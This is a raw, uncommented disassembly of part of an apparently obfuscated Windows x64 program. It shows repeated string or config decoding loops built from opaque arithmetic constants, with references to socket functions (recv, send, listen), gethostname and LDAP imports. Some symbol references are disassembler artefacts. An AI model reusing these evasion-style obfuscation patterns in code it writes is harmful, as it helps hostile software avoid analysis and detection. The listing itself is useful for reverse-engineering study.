and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r9
dec rbx
inc rbx
jmp 0x140098d92
movabs rdx, 0x9d89386c3b233160
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099a6b
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140099577
movabs rdx, 0xd9de569f3d0bf4d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099362
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400995be
movabs rdx, 0xbe7a362003f62a20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140099602
movabs rcx, 0x8d6ceb19ec55d0a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140099623
movabs rdx, 0x41299858666dba40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400999c1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009965a
movabs rcx, 0xf4e64596e085a3e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140098d92
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140099362
movabs rcx, 0xa8a2f2d55a9d8d80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x140098d92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400996c9
movabs rdx, 0x9db7513005f13f30
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x140099a6b
inc rax
cmp r8, rax
jne 0x1400996ff
movabs rcx, 0x530abacfa211270
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
dec rbx
inc rbx
jmp 0x140098d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099720
movabs rdx, 0x6caa0629ee50e5b0
mov ecx, Ordinal_26
jmp 0x140099adb
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140099756
movabs rdx, 0xd42360a6e280b8f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099909
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140099300
movabs rdx, 0x87e00de55c98a290
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099b59
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400997d3
movabs rdx, 0x7cf46c4007ec5440
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099804
movabs rcx, 0xe46dc6bcfc1c2780
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x140099909
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009984a
movabs rdx, 0x982a73fb76341120
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009987d
movabs rcx, 0xb3607bb6e47bce00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x140098d92
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400992b4
movabs rdx, 0x1ad9d633d8aba140
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099a6b
movabs rdx, 0x825330b0ccdb7480
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x8e0]
sub r10b, al
add r10b, 0x80
jmp 0x1400999d0
movabs rdx, 0x360fddef46f35e20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x8e0]
add r10b, r11b
add r10b, dl
movabs rdx, 0xfee348e83ff52f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x8e0], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x140099b59
movabs rdx, 0x15a92a86de8a8ed0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rcx, 0x61ec7d486472a530
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rdx, 0xae2fd009ea5abb90
mov ecx, 8
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0x5c31875009e76950
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x30
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x8e0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rdx, 0xfa7322cb7042d1f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140098d92
movabs rdx, 0x92f9c84e7c12feb0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xa874da118fcf7fb0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x8e0], cl
inc r9
dec rbx
inc rbx
jmp 0x140098d92
movabs rcx, 0xc407135493b35830
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
dec rbx
inc rbx
jmp 0x140098d92
movabs rdx, 0x5c8db8d79f8384f0
mov ecx, gethostname
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rcx, 0xa8d10b99256b9b50
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
mov r11, rdx
movabs rax, 0x4157b11c313bc810
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x70
movabs rcx, 0xe9cc8b2dc10b47c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x40
add cl, r11b
mov byte [rbp + rbx + 0x8e0], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
movabs rcx, 0x8d9b03ddb723de70
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
movabs rcx, 0x308300bab7363010
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x140098d8e
movabs rcx, 0x7cc6537c3d1e4670
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x140098d78
lea rcx, [rbp + 0x14884a0]
jmp 0x140099c3a
lea rcx, [rbp + 0x1547970]
jmp 0x140099c3a
lea rcx, [rbp + 0x8e0]
xor r8d, r8d
mov rdx, rdi
call fcn.140036ab0
test al, al
je 0x140099ca2
xor ebx, ebx
nop
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x64], 0
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e340
test al, al
je 0x140099c85
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x140099c92
call fcn.1400149e0
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x140099c50
call fcn.140018c70
call fcn.140040750
xor r8d, r8d
xor edx, edx
lea rcx, str.Settings
call fcn.1400406d0
test al, al
je 0x1400a218e
mov byte [rbp + 0x908], 0xaf
mov byte [rbp + 0x909], Ordinal_211
mov byte [rbp + 0x90a], 0xf6
mov byte [rbp + 0x90b], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x90c], 0xfc
mov byte [rbp + 0x90d], Ordinal_211
mov byte [rbp + 0x90e], 0xf4
mov byte [rbp + 0x90f], reloc.WS2_32.dll_WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x910], xmm0
mov qword [rbp + 0x920], rax
mov word [rbp + 0x928], ax
mov byte [rbp + 0x92a], al
movabs rsi, 0x86dfb80e21692c65
movabs r13, 0xfa3b6a49d0d43f11
movabs r14, 0xde42b614633e3e3b
movabs r12, 0xe9cbe180c195c019
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009aa2c
movzx ebx, byte [rbp + rdi + 0x908]
mov r10, rbx
cmp r8, rdi
ja 0x14009aa20
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140099daa
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x77
jmp 0x140099de3
je 0x14009a999
inc rax
cmp r8, rax
je 0x14009a901
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a8d8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009a8ac
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009a85e
cmp r9, rdi
ja 0x14009aa14
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140099e13
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3d
jmp 0x140099e40
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009a83b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a805
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009a7e1
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009a43c
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009a419
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009a3ed
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009a3bf
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009a39d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009a375
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009a33d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009a318
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009a2f0
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009a2b7
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140099e50
lea r8, [r9 + 0x1000]
lea r9, [r8 + 2]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009a9f1
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009a9ce
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009a023
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009a005
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140099feb
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009a1ee
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009a1c0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140099e50
lea r8, [r9 + 9]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14009a187
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009a15f
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009a137
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009a104
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009a0e1
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009a0be
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009a095
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009a069
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009a046
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140099e50
lea r8, [r9 + 5]
lea r9, [r8 + 0x28]
jmp 0x140099e50
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x63
jmp 0x140099e40
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x51
add r11b, dl
jmp 0x140099de3
movabs rcx, 0xf5550ced1fed41f7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3f
jmp 0x140099d74
movabs rcx, 0x36fdc0710b496328
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14009a87c
movabs rcx, 0x4286ebdd69a0e506
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
inc r9
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0x4e101749c7f866e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0x599942b6264fe8c2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4e
jmp 0x14009a78a
movabs rcx, 0x65226e2284a76aa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14009a823
movabs rcx, 0x70ab998ee2feec7e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x72
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099d62
movabs rdx, 0x7c34c4fb41566e5c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009a927
movabs rdx, 0x87bdf0679fadf03a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009a955
movabs rdx, 0x93471bd3fe057218
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
movabs rcx, 0xb01e0862e9e036c3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x55
mov byte [rbp + rdi + 0x908], r11b
inc rdi
jmp 0x140099d62
movabs rdx, 0xd2b98aa804e6bc5d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x75
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14009a7b7
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14009a572
movabs rcx, 0xa0285396c293070d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5b
cmp r8, 0x3e8
jae 0x14009a760
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14009a64b
movabs rdx, 0x27080ba4e3fc3372
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
cmp r9, 6
jb 0x14009a1de
movabs rcx, 0xb3ac5969349120c6
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14009a87c
movabs rdx, 0x293e5054c8770a5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
movabs rdx, 0x34c77bc126ce8c3c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009a955
movabs rdx, 0x4050a72d85260e1a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009a924
movabs rdx, 0x4bd9d299e37d8ff8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099d62
movabs rdx, 0x5762fe0641d511d6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009a823
movabs rdx, 0x62ec2972a02c93b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14009a784
movabs rdx, 0x6e7554defe841592
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0x79fe804b5cdb9770
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0x8587abb7bb33194e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
jmp 0x14009a87c
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14009a463
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x77
jmp 0x14009a210
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009a4a9
movabs rdx, 0xdbf701c42d258ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a4d9
movabs rcx, 0xf6ad19438623550e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x14009a927
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009a509
movabs rcx, 0xdf9ac26ac9745152
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
jmp 0x14009a823
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a53d
movabs rdx, 0xd41196fe6b1ccf74
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14009a78a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009a210
movabs rdx, 0xb17614b9501649da
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009a87c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a5a2
movabs rcx, 0x949f282a643b852f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
jmp 0x14009a87c
inc rax
cmp r8, rax
jne 0x14009a5d7
movabs rcx, 0x7d8cd151a78c8173
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
dec rdi
inc rdi
jmp 0x140099d62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a60b
movabs rdx, 0x7203a5e54934ff95
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x13
add r11b, dl
jmp 0x14009a78a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a249
movabs rcx, 0x5af14f0c8c85fbd9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x11
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099d62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a68c
movabs rcx, 0x1b7ee03885a4b194
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
inc rax
cmp r8, rax
jne 0x14009a6c0
movabs rdx, 0xff5b4cc274d2fb6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009a955
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a6f5
movabs rdx, 0x46c895fc8f5add8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009a927
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009a730
movabs rdx, 0xd647dbae4f97a660
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140099d62
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009a285
movabs rcx, 0xbf3584d592e8a2a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x14009a87c
movabs rdx, 0xa8232dfcd6399ee8
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x908]
sub r11b, al
sub r11b, 0x58
add r11b, dl
add r11b, bl
movabs rdx, 0xa25e9846a70dddf9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x31
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x908], cl
jmp 0x14009a823
movabs rcx, 0x9c9a029077e21d0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x908]
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x14009a927
movabs rdx, 0x361f88178d049f53
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x45
jmp 0x14009a924
movabs rcx, 0x4d31def049b3a30f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x69
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140099d62
movabs rcx, 0x7b568ca1c311aa87
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
jmp 0x14009a87c
movabs rcx, 0x9268e37a7fc0ae43
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2b
movabs rcx, 0xade7c3b305655fd7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x1f
add cl, bl
mov byte [rbp + rdi + 0x908], cl
inc r9
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0x9df20ee6de183021
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x19
inc r9
dec rdi
inc rdi
jmp 0x140099d62
movabs rcx, 0xa97b3a533c6fb1ff
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 7
dec rdi
inc rdi
jmp 0x140099d62
mov rbx, r10
movabs rdx, 0xd79fe804b5cdb977
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x41
add r11b, dl
movabs rcx, 0x96d56cda48b65c1b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x43
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x908], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x9110d724198a9b2c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x34
add bl, cl
mov byte [rbp + rdi + 0x908], bl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
movabs rcx, 0xeeb23edd727cbd33
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
movzx eax, byte [rbp + rdi + 0x908]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140099d62
movabs rcx, 0xde38597e44c3d5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2d
jmp 0x140099d60
movabs rcx, 0xc6763c5dc9c45b3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1b
jmp 0x140099d50
lea rcx, [rbp + 0x15a6874]
jmp 0x14009aa33
lea rcx, [rbp + 0x16ea785]
jmp 0x14009aa33
lea rcx, [rbp + 0x908]
call fcn.140036660
lea rdx, [0x140236c50]
lea rcx, [rbp + 0x2c0]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x10]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x930], 0x46
mov byte [rbp + 0x931], 0xa2
mov byte [rbp + 0x932], 0xbb
mov byte [rbp + 0x933], 0xad
mov byte [rbp + 0x934], 0x57
mov byte [rbp + 0x935], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x936], xmm0
mov qword [rbp + 0x946], rax
mov dword [rbp + 0x94e], eax
mov byte [rbp + 0x952], al
movabs rsi, 0x5060514214a18b48
movabs r13, 0x89ec34a19f756828
movabs r14, 0xe34093c194bf8db8
movabs r12, 0xcf682a7e55d4bd68
movzx r10d, byte [rsp + 0x40]
